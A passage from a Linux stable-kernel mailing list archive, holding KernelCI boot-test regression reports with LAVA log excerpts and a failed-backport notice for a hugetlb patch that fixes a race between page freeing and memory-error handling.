failing since 152 days (last pass: v5.10.174, first fail: v5.10.175)
2023-08-16T20:09:32.503659 <8>[ 60.004837] <LAVA_SIGNAL_TESTCASE TEST_CASE_ID=rockchip-usb2phy-driver-present RESULT=pass>
2023-08-16T20:09:33.528945 /lava-11302455/1/../bin/lava-test-case
platform | arch | lab | compiler | defconfig | regressions
-----------------------------+--------+---------------+----------+------------------------------+------------
sun50i-h6-pine-h64 | arm64 | lab-collabora | gcc-10 | defconfig | 1
Details: https://kernelci.org/test/plan/id/64dd289e969ff21d6635b1ee
Results: 5 PASS, 1 FAIL, 1 SKIP
Full config: defconfig
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable/linux-5.10.y/v5.10.191/arm64/defconfig…
HTML log: https://storage.kernelci.org//stable/linux-5.10.y/v5.10.191/arm64/defconfig…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.bootrr.deferred-probe-empty: https://kernelci.org/test/case/id/64dd289e969ff21d6635b1f3
failing since 20 days (last pass: v5.10.185, first fail: v5.10.188)
2023-08-16T19:52:16.454035 / # #
2023-08-16T19:52:16.556175 export SHELL=/bin/sh
2023-08-16T19:52:16.556910 #
2023-08-16T19:52:16.658312 / # export SHELL=/bin/sh. /lava-11302211/environment
2023-08-16T19:52:16.659023
2023-08-16T19:52:16.760448 / # . /lava-11302211/environment/lava-11302211/bin/lava-test-runner /lava-11302211/1
2023-08-16T19:52:16.761576
2023-08-16T19:52:16.777923 / # /lava-11302211/bin/lava-test-runner /lava-11302211/1
2023-08-16T19:52:16.821191 + export 'TESTRUN_ID=1_bootrr'
2023-08-16T19:52:16.835547 + cd /lava-1130221<8>[ 18.211897] <LAVA_SIGNAL_STARTRUN 1_bootrr 11302211_1.5.2.4.5>
... (10 line(s) more)
2 years, 4 months
- 1
- 0
FAILED: patch "[PATCH] hugetlb: do not clear hugetlb dtor until allocating vmemmap" failed to apply to 5.15-stable tree
by gregkh＠linuxfoundation.org
The patch below does not apply to the 5.15-stable tree.
If someone wants it applied there, or to any other stable or longterm
tree, then please email the backport, including the original git commit
id to <stable(a)vger.kernel.org>.
To reproduce the conflict and resubmit, you may use the following commands:
git fetch https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/ linux-5.15.y
git checkout FETCH_HEAD
git cherry-pick -x 32c877191e022b55fe3a374f3d7e9fb5741c514d
# <resolve conflicts, build, test, etc.>
git commit -s
git send-email --to '<stable(a)vger.kernel.org>' --in-reply-to '2023081206-asleep-slain-4704@gregkh' --subject-prefix 'PATCH 5.15.y' HEAD^..
Possible dependencies:
32c877191e02 ("hugetlb: do not clear hugetlb dtor until allocating vmemmap")
d6ef19e25df2 ("mm/hugetlb: convert update_and_free_page() to folios")
cfd5082b5147 ("mm/hugetlb: convert remove_hugetlb_page() to folios")
1a7cdab59b22 ("mm/hugetlb: convert dissolve_free_huge_page() to folios")
911565b82853 ("mm/hugetlb: convert destroy_compound_gigantic_page() to folios")
cb67f4282bf9 ("mm,thp,rmap: simplify compound page mapcount handling")
dad6a5eb5556 ("mm,hugetlb: use folio fields in second tail page")
0356c4b96f68 ("mm/hugetlb: convert free_huge_page to folios")
de656ed376c4 ("mm/hugetlb_cgroup: convert set_hugetlb_cgroup*() to folios")
f074732d599e ("mm/hugetlb_cgroup: convert hugetlb_cgroup_from_page() to folios")
a098c977722c ("mm/hugetlb_cgroup: convert __set_hugetlb_cgroup() to folios")
4781593d5dba ("mm/hugetlb: unify clearing of RestoreReserve for private pages")
149562f75094 ("mm/hugetlb: add hugetlb_folio_subpool() helpers")
d340625f4849 ("mm: add private field of first tail to struct page and struct folio")
71e2d666ef85 ("mm/huge_memory: do not clobber swp_entry_t during THP split")
8346d69d8bcb ("mm/hugetlb: add available_huge_pages() func")
2b21624fc232 ("hugetlb: freeze allocated pages before creating hugetlb pages")
14455eabd840 ("mm: use nth_page instead of mem_map_offset mem_map_next")
379708ffde1b ("mm: add the first tail page to struct folio")
6d751329e761 ("Merge branch 'mm-hotfixes-stable' into mm-stable")
thanks,
greg k-h
------------------ original commit in Linus's tree ------------------
From 32c877191e022b55fe3a374f3d7e9fb5741c514d Mon Sep 17 00:00:00 2001
From: Mike Kravetz <mike.kravetz(a)oracle.com>
Date: Tue, 11 Jul 2023 15:09:41 -0700
Subject: [PATCH] hugetlb: do not clear hugetlb dtor until allocating vmemmap
Patch series "Fix hugetlb free path race with memory errors".
In the discussion of Jiaqi Yan's series "Improve hugetlbfs read on
HWPOISON hugepages" the race window was discovered.
https://lore.kernel.org/linux-mm/20230616233447.GB7371@monkey/
Freeing a hugetlb page back to low level memory allocators is performed
in two steps.
1) Under hugetlb lock, remove page from hugetlb lists and clear destructor
2) Outside lock, allocate vmemmap if necessary and call low level free
Between these two steps, the hugetlb page will appear as a normal
compound page. However, vmemmap for tail pages could be missing.
If a memory error occurs at this time, we could try to update page
flags non-existant page structs.
A much more detailed description is in the first patch.
The first patch addresses the race window. However, it adds a
hugetlb_lock lock/unlock cycle to every vmemmap optimized hugetlb page
free operation. This could lead to slowdowns if one is freeing a large
number of hugetlb pages.
The second path optimizes the update_and_free_pages_bulk routine to only
take the lock once in bulk operations.
The second patch is technically not a bug fix, but includes a Fixes tag
and Cc stable to avoid a performance regression. It can be combined with
the first, but was done separately make reviewing easier.
This patch (of 2):
Freeing a hugetlb page and releasing base pages back to the underlying
allocator such as buddy or cma is performed in two steps:
- remove_hugetlb_folio() is called to remove the folio from hugetlb
lists, get a ref on the page and remove hugetlb destructor. This
all must be done under the hugetlb lock. After this call, the page
can be treated as a normal compound page or a collection of base
size pages.
- update_and_free_hugetlb_folio() is called to allocate vmemmap if
needed and the free routine of the underlying allocator is called
on the resulting page. We can not hold the hugetlb lock here.
One issue with this scheme is that a memory error could occur between
these two steps. In this case, the memory error handling code treats
the old hugetlb page as a normal compound page or collection of base
pages. It will then try to SetPageHWPoison(page) on the page with an
error. If the page with error is a tail page without vmemmap, a write
error will occur when trying to set the flag.
Address this issue by modifying remove_hugetlb_folio() and
update_and_free_hugetlb_folio() such that the hugetlb destructor is not
cleared until after allocating vmemmap. Since clearing the destructor
requires holding the hugetlb lock, the clearing is done in
remove_hugetlb_folio() if the vmemmap is present. This saves a
lock/unlock cycle. Otherwise, destructor is cleared in
update_and_free_hugetlb_folio() after allocating vmemmap.
Note that this will leave hugetlb pages in a state where they are marked
free (by hugetlb specific page flag) and have a ref count. This is not
a normal state. The only code that would notice is the memory error
code, and it is set up to retry in such a case.
A subsequent patch will create a routine to do bulk processing of
vmemmap allocation. This will eliminate a lock/unlock cycle for each
hugetlb page in the case where we are freeing a large number of pages.
Link: https://lkml.kernel.org/r/20230711220942.43706-1-mike.kravetz@oracle.com
Link: https://lkml.kernel.org/r/20230711220942.43706-2-mike.kravetz@oracle.com
Fixes: ad2fa3717b74 ("mm: hugetlb: alloc the vmemmap pages associated with each HugeTLB page")
Signed-off-by: Mike Kravetz <mike.kravetz(a)oracle.com>
Reviewed-by: Muchun Song <songmuchun(a)bytedance.com>
Tested-by: Naoya Horiguchi <naoya.horiguchi(a)nec.com>
Cc: Axel Rasmussen <axelrasmussen(a)google.com>
Cc: James Houghton <jthoughton(a)google.com>
Cc: Jiaqi Yan <jiaqiyan(a)google.com>
Cc: Miaohe Lin <linmiaohe(a)huawei.com>
Cc: Michal Hocko <mhocko(a)suse.com>
Cc: <stable(a)vger.kernel.org>
Signed-off-by: Andrew Morton <akpm(a)linux-foundation.org>
diff --git a/mm/hugetlb.c b/mm/hugetlb.c
index 64a3239b6407..6da626bfb52e 100644
--- a/mm/hugetlb.c
+++ b/mm/hugetlb.c
@@ -1579,9 +1579,37 @@ static inline void destroy_compound_gigantic_folio(struct folio *folio,
unsigned int order) { }
#endif
+static inline void __clear_hugetlb_destructor(struct hstate *h,
+ struct folio *folio)
+{
+ lockdep_assert_held(&hugetlb_lock);
+
+ /*
+ * Very subtle
+ *
+ * For non-gigantic pages set the destructor to the normal compound
+ * page dtor. This is needed in case someone takes an additional
+ * temporary ref to the page, and freeing is delayed until they drop
+ * their reference.
+ *
+ * For gigantic pages set the destructor to the null dtor. This
+ * destructor will never be called. Before freeing the gigantic
+ * page destroy_compound_gigantic_folio will turn the folio into a
+ * simple group of pages. After this the destructor does not
+ * apply.
+ *
+ */
+ if (hstate_is_gigantic(h))
+ folio_set_compound_dtor(folio, NULL_COMPOUND_DTOR);
+ else
+ folio_set_compound_dtor(folio, COMPOUND_PAGE_DTOR);
+}
+
/*
- * Remove hugetlb folio from lists, and update dtor so that the folio appears
- * as just a compound page.
+ * Remove hugetlb folio from lists.
+ * If vmemmap exists for the folio, update dtor so that the folio appears
+ * as just a compound page. Otherwise, wait until after allocating vmemmap
+ * to update dtor.
*
* A reference is held on the folio, except in the case of demote.
*
@@ -1612,31 +1640,19 @@ static void __remove_hugetlb_folio(struct hstate *h, struct folio *folio,
}
/*
- * Very subtle
- *
- * For non-gigantic pages set the destructor to the normal compound
- * page dtor. This is needed in case someone takes an additional
- * temporary ref to the page, and freeing is delayed until they drop
- * their reference.
- *
- * For gigantic pages set the destructor to the null dtor. This
- * destructor will never be called. Before freeing the gigantic
- * page destroy_compound_gigantic_folio will turn the folio into a
- * simple group of pages. After this the destructor does not
- * apply.
- *
- * This handles the case where more than one ref is held when and
- * after update_and_free_hugetlb_folio is called.
- *
- * In the case of demote we do not ref count the page as it will soon
- * be turned into a page of smaller size.
+ * We can only clear the hugetlb destructor after allocating vmemmap
+ * pages. Otherwise, someone (memory error handling) may try to write
+ * to tail struct pages.
+ */
+ if (!folio_test_hugetlb_vmemmap_optimized(folio))
+ __clear_hugetlb_destructor(h, folio);
+
+ /*
+ * In the case of demote we do not ref count the page as it will soon
+ * be turned into a page of smaller size.
*/
if (!demote)
folio_ref_unfreeze(folio, 1);
- if (hstate_is_gigantic(h))
- folio_set_compound_dtor(folio, NULL_COMPOUND_DTOR);
- else
- folio_set_compound_dtor(folio, COMPOUND_PAGE_DTOR);
h->nr_huge_pages--;
h->nr_huge_pages_node[nid]--;
@@ -1705,6 +1721,7 @@ static void __update_and_free_hugetlb_folio(struct hstate *h,
{
int i;
struct page *subpage;
+ bool clear_dtor = folio_test_hugetlb_vmemmap_optimized(folio);
if (hstate_is_gigantic(h) && !gigantic_page_runtime_supported())
return;
@@ -1735,6 +1752,16 @@ static void __update_and_free_hugetlb_folio(struct hstate *h,
if (unlikely(folio_test_hwpoison(folio)))
folio_clear_hugetlb_hwpoison(folio);
+ /*
+ * If vmemmap pages were allocated above, then we need to clear the
+ * hugetlb destructor under the hugetlb lock.
+ */
+ if (clear_dtor) {
+ spin_lock_irq(&hugetlb_lock);
+ __clear_hugetlb_destructor(h, folio);
+ spin_unlock_irq(&hugetlb_lock);
+ }
+
for (i = 0; i < pages_per_huge_page(h); i++) {
subpage = folio_page(folio, i);
subpage->flags &= ~(1 << PG_locked | 1 << PG_error |
2 years, 4 months
- 2
- 1
stable/linux-5.4.y baseline: 110 runs, 25 regressions (v5.4.254)
by kernelci.org bot
stable/linux-5.4.y baseline: 110 runs, 25 regressions (v5.4.254)
Regressions Summary
-------------------
platform | arch | lab | compiler | defconfig | regressions
-----------------------------+--------+---------------+----------+------------------------------+------------
cubietruck | arm | lab-baylibre | gcc-10 | multi_v7_defconfig | 1
fsl-ls1028a-rdb | arm64 | lab-nxp | gcc-10 | defconfig | 1
hifive-unleashed-a00 | riscv | lab-baylibre | gcc-10 | defconfig | 1
hp-x360-12b-c...4020-octopus | x86_64 | lab-collabora | gcc-10 | x86_64_defcon...6-chromebook | 1
hp-x360-14-G1-sona | x86_64 | lab-collabora | gcc-10 | x86_64_defcon...6-chromebook | 1
imx6ul-14x14-evk | arm | lab-nxp | gcc-10 | multi_v7_defconfig | 1
imx7d-sdb | arm | lab-nxp | gcc-10 | multi_v7_defconfig | 1
qemu_arm64-virt-gicv2 | arm64 | lab-broonie | gcc-10 | defconfig | 1
qemu_arm64-virt-gicv2 | arm64 | lab-broonie | gcc-10 | defconfig+arm64-chromebook | 1
qemu_arm64-virt-gicv2 | arm64 | lab-collabora | gcc-10 | defconfig | 1
qemu_arm64-virt-gicv2 | arm64 | lab-collabora | gcc-10 | defconfig+arm64-chromebook | 1
qemu_arm64-virt-gicv2-uefi | arm64 | lab-broonie | gcc-10 | defconfig | 1
qemu_arm64-virt-gicv2-uefi | arm64 | lab-broonie | gcc-10 | defconfig+arm64-chromebook | 1
qemu_arm64-virt-gicv2-uefi | arm64 | lab-collabora | gcc-10 | defconfig | 1
qemu_arm64-virt-gicv2-uefi | arm64 | lab-collabora | gcc-10 | defconfig+arm64-chromebook | 1
qemu_arm64-virt-gicv3 | arm64 | lab-broonie | gcc-10 | defconfig | 1
qemu_arm64-virt-gicv3 | arm64 | lab-broonie | gcc-10 | defconfig+arm64-chromebook | 1
qemu_arm64-virt-gicv3 | arm64 | lab-collabora | gcc-10 | defconfig | 1
qemu_arm64-virt-gicv3 | arm64 | lab-collabora | gcc-10 | defconfig+arm64-chromebook | 1
qemu_arm64-virt-gicv3-uefi | arm64 | lab-broonie | gcc-10 | defconfig | 1
qemu_arm64-virt-gicv3-uefi | arm64 | lab-broonie | gcc-10 | defconfig+arm64-chromebook | 1
qemu_arm64-virt-gicv3-uefi | arm64 | lab-collabora | gcc-10 | defconfig | 1
qemu_arm64-virt-gicv3-uefi | arm64 | lab-collabora | gcc-10 | defconfig+arm64-chromebook | 1
rk3399-gru-kevin | arm64 | lab-collabora | gcc-10 | defconfig+arm64-chromebook | 2
Details: https://kernelci.org/test/job/stable/branch/linux-5.4.y/kernel/v5.4.254/pla…
Test: baseline
Tree: stable
Branch: linux-5.4.y
Describe: v5.4.254
URL: https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux-stable.git
SHA: fd2a1d1f32ea37c57a8b46a0857f06fd7274dd2c
Test Regressions
----------------
platform | arch | lab | compiler | defconfig | regressions
-----------------------------+--------+---------------+----------+------------------------------+------------
cubietruck | arm | lab-baylibre | gcc-10 | multi_v7_defconfig | 1
Details: https://kernelci.org/test/plan/id/64dd26ad7c29756fb435b1e3
Results: 5 PASS, 1 FAIL, 1 SKIP
Full config: multi_v7_defconfig
Compiler: gcc-10 (arm-linux-gnueabihf-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable/linux-5.4.y/v5.4.254/arm/multi_v7_defc…
HTML log: https://storage.kernelci.org//stable/linux-5.4.y/v5.4.254/arm/multi_v7_defc…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.bootrr.deferred-probe-empty: https://kernelci.org/test/case/id/64dd26ad7c29756fb435b1e8
failing since 210 days (last pass: v5.4.224, first fail: v5.4.229)
2023-08-16T19:42:14.326198 <8>[ 9.833934] <LAVA_SIGNAL_ENDRUN 0_dmesg 3743474_1.5.2.4.1>
2023-08-16T19:42:14.435223 / # #
2023-08-16T19:42:14.538191 export SHELL=/bin/sh
2023-08-16T19:42:14.539222 #
2023-08-16T19:42:14.640854 / # export SHELL=/bin/sh. /lava-3743474/environment
2023-08-16T19:42:14.641241
2023-08-16T19:42:14.742697 / # . /lava-3743474/environment/lava-3743474/bin/lava-test-runner /lava-3743474/1
2023-08-16T19:42:14.744340
2023-08-16T19:42:14.748763 / # /lava-3743474/bin/lava-test-runner /lava-3743474/1
2023-08-16T19:42:14.828919 + export 'TESTRUN_ID=1_bootrr'
... (11 line(s) more)
platform | arch | lab | compiler | defconfig | regressions
-----------------------------+--------+---------------+----------+------------------------------+------------
fsl-ls1028a-rdb | arm64 | lab-nxp | gcc-10 | defconfig | 1
Details: https://kernelci.org/test/plan/id/64dd270ac4e34d48f435b1df
Results: 5 PASS, 1 FAIL, 1 SKIP
Full config: defconfig
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable/linux-5.4.y/v5.4.254/arm64/defconfig/g…
HTML log: https://storage.kernelci.org//stable/linux-5.4.y/v5.4.254/arm64/defconfig/g…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.bootrr.deferred-probe-empty: https://kernelci.org/test/case/id/64dd270ac4e34d48f435b1e4
failing since 166 days (last pass: v5.4.225, first fail: v5.4.234)
2023-08-16T19:43:45.234415 + [ 15.699799] <LAVA_SIGNAL_ENDRUN 0_dmesg 1244268_1.5.2.4.1>
2023-08-16T19:43:45.234700 set +x
2023-08-16T19:43:45.339869
2023-08-16T19:43:45.441139 / # #export SHELL=/bin/sh
2023-08-16T19:43:45.441539
2023-08-16T19:43:45.542535 / # export SHELL=/bin/sh. /lava-1244268/environment
2023-08-16T19:43:45.542937
2023-08-16T19:43:45.643956 / # . /lava-1244268/environment/lava-1244268/bin/lava-test-runner /lava-1244268/1
2023-08-16T19:43:45.644661
2023-08-16T19:43:45.648626 / # /lava-1244268/bin/lava-test-runner /lava-1244268/1
... (12 line(s) more)
platform | arch | lab | compiler | defconfig | regressions
-----------------------------+--------+---------------+----------+------------------------------+------------
hifive-unleashed-a00 | riscv | lab-baylibre | gcc-10 | defconfig | 1
Details: https://kernelci.org/test/plan/id/64dd285a381b115eb535b1fe
Results: 3 PASS, 2 FAIL, 2 SKIP
Full config: defconfig
Compiler: gcc-10 (riscv64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable/linux-5.4.y/v5.4.254/riscv/defconfig/g…
HTML log: https://storage.kernelci.org//stable/linux-5.4.y/v5.4.254/riscv/defconfig/g…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.dmesg.crit: https://kernelci.org/test/case/id/64dd285a381b115eb535b207
failing since 294 days (last pass: v5.4.219, first fail: v5.4.220)
3 lines
2023-08-16T19:49:18.498897 / #
2023-08-16T19:49:18.506889
2023-08-16T19:49:18.610260 / # #
2023-08-16T19:49:18.619087 #
2023-08-16T19:49:18.721543 / # export SHELL=/bin/sh
2023-08-16T19:49:18.731552 export SHELL=/bin/sh
2023-08-16T19:49:18.833479 / # . /lava-3743450/environment
2023-08-16T19:49:18.843301 . /lava-3743450/environment
2023-08-16T19:49:18.944740 / # /lava-3743450/bin/lava-test-runner /lava-3743450/0
2023-08-16T19:49:18.954926 /lava-3743450/bin/lava-test-runner /lava-3743450/0
... (10 line(s) more)
platform | arch | lab | compiler | defconfig | regressions
-----------------------------+--------+---------------+----------+------------------------------+------------
hp-x360-12b-c...4020-octopus | x86_64 | lab-collabora | gcc-10 | x86_64_defcon...6-chromebook | 1
Details: https://kernelci.org/test/plan/id/64dd25f2024fbce8fc35b232
Results: 5 PASS, 1 FAIL, 1 SKIP
Full config: x86_64_defconfig+x86-chromebook
Compiler: gcc-10 (gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable/linux-5.4.y/v5.4.254/x86_64/x86_64_def…
HTML log: https://storage.kernelci.org//stable/linux-5.4.y/v5.4.254/x86_64/x86_64_def…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.bootrr.deferred-probe-empty: https://kernelci.org/test/case/id/64dd25f2024fbce8fc35b237
failing since 139 days (last pass: v5.4.238, first fail: v5.4.239)
2023-08-16T19:39:13.669377 + set<8>[ 10.708022] <LAVA_SIGNAL_ENDRUN 0_dmesg 11302033_1.4.2.3.1>
2023-08-16T19:39:13.669988 +x
2023-08-16T19:39:13.778176 #
2023-08-16T19:39:13.779306
2023-08-16T19:39:13.881031 / # #export SHELL=/bin/sh
2023-08-16T19:39:13.881746
2023-08-16T19:39:13.983211 / # export SHELL=/bin/sh. /lava-11302033/environment
2023-08-16T19:39:13.983981
2023-08-16T19:39:14.085347 / # . /lava-11302033/environment/lava-11302033/bin/lava-test-runner /lava-11302033/1
2023-08-16T19:39:14.086479
... (13 line(s) more)
platform | arch | lab | compiler | defconfig | regressions
-----------------------------+--------+---------------+----------+------------------------------+------------
hp-x360-14-G1-sona | x86_64 | lab-collabora | gcc-10 | x86_64_defcon...6-chromebook | 1
Details: https://kernelci.org/test/plan/id/64dd25de024fbce8fc35b221
Results: 5 PASS, 1 FAIL, 1 SKIP
Full config: x86_64_defconfig+x86-chromebook
Compiler: gcc-10 (gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable/linux-5.4.y/v5.4.254/x86_64/x86_64_def…
HTML log: https://storage.kernelci.org//stable/linux-5.4.y/v5.4.254/x86_64/x86_64_def…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.bootrr.deferred-probe-empty: https://kernelci.org/test/case/id/64dd25de024fbce8fc35b226
failing since 139 days (last pass: v5.4.238, first fail: v5.4.239)
2023-08-16T19:39:01.442093 + set +x<8>[ 12.664535] <LAVA_SIGNAL_ENDRUN 0_dmesg 11302030_1.4.2.3.1>
2023-08-16T19:39:01.442182
2023-08-16T19:39:01.543756 #
2023-08-16T19:39:01.644762 / # #export SHELL=/bin/sh
2023-08-16T19:39:01.644959
2023-08-16T19:39:01.745433 / # export SHELL=/bin/sh. /lava-11302030/environment
2023-08-16T19:39:01.745644
2023-08-16T19:39:01.846162 / # . /lava-11302030/environment/lava-11302030/bin/lava-test-runner /lava-11302030/1
2023-08-16T19:39:01.846472
2023-08-16T19:39:01.851819 / # /lava-11302030/bin/lava-test-runner /lava-11302030/1
... (12 line(s) more)
platform | arch | lab | compiler | defconfig | regressions
-----------------------------+--------+---------------+----------+------------------------------+------------
imx6ul-14x14-evk | arm | lab-nxp | gcc-10 | multi_v7_defconfig | 1
Details: https://kernelci.org/test/plan/id/64dd26dd628595c97a35b1d9
Results: 5 PASS, 1 FAIL, 1 SKIP
Full config: multi_v7_defconfig
Compiler: gcc-10 (arm-linux-gnueabihf-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable/linux-5.4.y/v5.4.254/arm/multi_v7_defc…
HTML log: https://storage.kernelci.org//stable/linux-5.4.y/v5.4.254/arm/multi_v7_defc…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.bootrr.deferred-probe-empty: https://kernelci.org/test/case/id/64dd26dd628595c97a35b1de
failing since 152 days (last pass: v5.4.213, first fail: v5.4.237)
2023-08-16T19:42:59.597703 + set +x
2023-08-16T19:42:59.600403 <8>[ 25.702776] <LAVA_SIGNAL_ENDRUN 0_dmesg 1244265_1.5.2.4.1>
2023-08-16T19:42:59.708706 / # #
2023-08-16T19:43:00.864628 export SHELL=/bin/sh
2023-08-16T19:43:00.870310 #
2023-08-16T19:43:02.412172 / # export SHELL=/bin/sh. /lava-1244265/environment
2023-08-16T19:43:02.417852
2023-08-16T19:43:05.229311 / # . /lava-1244265/environment/lava-1244265/bin/lava-test-runner /lava-1244265/1
2023-08-16T19:43:05.235349
2023-08-16T19:43:05.236992 / # /lava-1244265/bin/lava-test-runner /lava-1244265/1
... (18 line(s) more)
platform | arch | lab | compiler | defconfig | regressions
-----------------------------+--------+---------------+----------+------------------------------+------------
imx7d-sdb | arm | lab-nxp | gcc-10 | multi_v7_defconfig | 1
Details: https://kernelci.org/test/plan/id/64dd2707f2d664686835b1e6
Results: 4 PASS, 2 FAIL, 1 SKIP
Full config: multi_v7_defconfig
Compiler: gcc-10 (arm-linux-gnueabihf-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable/linux-5.4.y/v5.4.254/arm/multi_v7_defc…
HTML log: https://storage.kernelci.org//stable/linux-5.4.y/v5.4.254/arm/multi_v7_defc…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.bootrr.deferred-probe-empty: https://kernelci.org/test/case/id/64dd2707f2d664686835b1eb
failing since 210 days (last pass: v5.4.224, first fail: v5.4.229)
2023-08-16T19:43:34.171851 / # #
2023-08-16T19:43:35.327802 export SHELL=/bin/sh
2023-08-16T19:43:35.333314 #
2023-08-16T19:43:36.875120 / # export SHELL=/bin/sh. /lava-1244264/environment
2023-08-16T19:43:36.880791
2023-08-16T19:43:36.881076 / # . /lava-1244264/environment
2023-08-16T19:43:39.692832 / # /lava-1244264/bin/lava-test-runner /lava-1244264/1
2023-08-16T19:43:39.710693 /lava-1244264/bin/lava-test-runner /lava-1244264/1
2023-08-16T19:43:39.806615 + export 'TESTRUN_ID=1_bootrr'
2023-08-16T19:43:39.806925 + cd /lava-1244264/1/tests/1_bootrr
... (17 line(s) more)
platform | arch | lab | compiler | defconfig | regressions
-----------------------------+--------+---------------+----------+------------------------------+------------
qemu_arm64-virt-gicv2 | arm64 | lab-broonie | gcc-10 | defconfig | 1
Details: https://kernelci.org/test/plan/id/64dd2ad92857273aca35b20e
Results: 0 PASS, 1 FAIL, 0 SKIP
Full config: defconfig
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable/linux-5.4.y/v5.4.254/arm64/defconfig/g…
HTML log: https://storage.kernelci.org//stable/linux-5.4.y/v5.4.254/arm64/defconfig/g…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.login: https://kernelci.org/test/case/id/64dd2ad92857273aca35b20f
failing since 315 days (last pass: v5.4.180, first fail: v5.4.216)
platform | arch | lab | compiler | defconfig | regressions
-----------------------------+--------+---------------+----------+------------------------------+------------
qemu_arm64-virt-gicv2 | arm64 | lab-broonie | gcc-10 | defconfig+arm64-chromebook | 1
Details: https://kernelci.org/test/plan/id/64dd2b13ea25530ea935b1ff
Results: 0 PASS, 1 FAIL, 0 SKIP
Full config: defconfig+arm64-chromebook
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable/linux-5.4.y/v5.4.254/arm64/defconfig+a…
HTML log: https://storage.kernelci.org//stable/linux-5.4.y/v5.4.254/arm64/defconfig+a…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.login: https://kernelci.org/test/case/id/64dd2b13ea25530ea935b200
failing since 322 days (last pass: v5.4.180, first fail: v5.4.215)
platform | arch | lab | compiler | defconfig | regressions
-----------------------------+--------+---------------+----------+------------------------------+------------
qemu_arm64-virt-gicv2 | arm64 | lab-collabora | gcc-10 | defconfig | 1
Details: https://kernelci.org/test/plan/id/64dd27849c0846684635b1e7
Results: 0 PASS, 1 FAIL, 0 SKIP
Full config: defconfig
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable/linux-5.4.y/v5.4.254/arm64/defconfig/g…
HTML log: https://storage.kernelci.org//stable/linux-5.4.y/v5.4.254/arm64/defconfig/g…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.login: https://kernelci.org/test/case/id/64dd27849c0846684635b1e8
failing since 315 days (last pass: v5.4.180, first fail: v5.4.216)
platform | arch | lab | compiler | defconfig | regressions
-----------------------------+--------+---------------+----------+------------------------------+------------
qemu_arm64-virt-gicv2 | arm64 | lab-collabora | gcc-10 | defconfig+arm64-chromebook | 1
Details: https://kernelci.org/test/plan/id/64dd28250d1330402235b1f8
Results: 0 PASS, 1 FAIL, 0 SKIP
Full config: defconfig+arm64-chromebook
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable/linux-5.4.y/v5.4.254/arm64/defconfig+a…
HTML log: https://storage.kernelci.org//stable/linux-5.4.y/v5.4.254/arm64/defconfig+a…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.login: https://kernelci.org/test/case/id/64dd28250d1330402235b1f9
failing since 322 days (last pass: v5.4.180, first fail: v5.4.215)
platform | arch | lab | compiler | defconfig | regressions
-----------------------------+--------+---------------+----------+------------------------------+------------
qemu_arm64-virt-gicv2-uefi | arm64 | lab-broonie | gcc-10 | defconfig | 1
Details: https://kernelci.org/test/plan/id/64dd2970120e18ba1d35b1e4
Results: 0 PASS, 1 FAIL, 0 SKIP
Full config: defconfig
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable/linux-5.4.y/v5.4.254/arm64/defconfig/g…
HTML log: https://storage.kernelci.org//stable/linux-5.4.y/v5.4.254/arm64/defconfig/g…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.login: https://kernelci.org/test/case/id/64dd2970120e18ba1d35b1e5
failing since 382 days (last pass: v5.4.180, first fail: v5.4.208)
platform | arch | lab | compiler | defconfig | regressions
-----------------------------+--------+---------------+----------+------------------------------+------------
qemu_arm64-virt-gicv2-uefi | arm64 | lab-broonie | gcc-10 | defconfig+arm64-chromebook | 1
Details: https://kernelci.org/test/plan/id/64dd2c2d0c830903e535b252
Results: 0 PASS, 1 FAIL, 0 SKIP
Full config: defconfig+arm64-chromebook
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable/linux-5.4.y/v5.4.254/arm64/defconfig+a…
HTML log: https://storage.kernelci.org//stable/linux-5.4.y/v5.4.254/arm64/defconfig+a…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
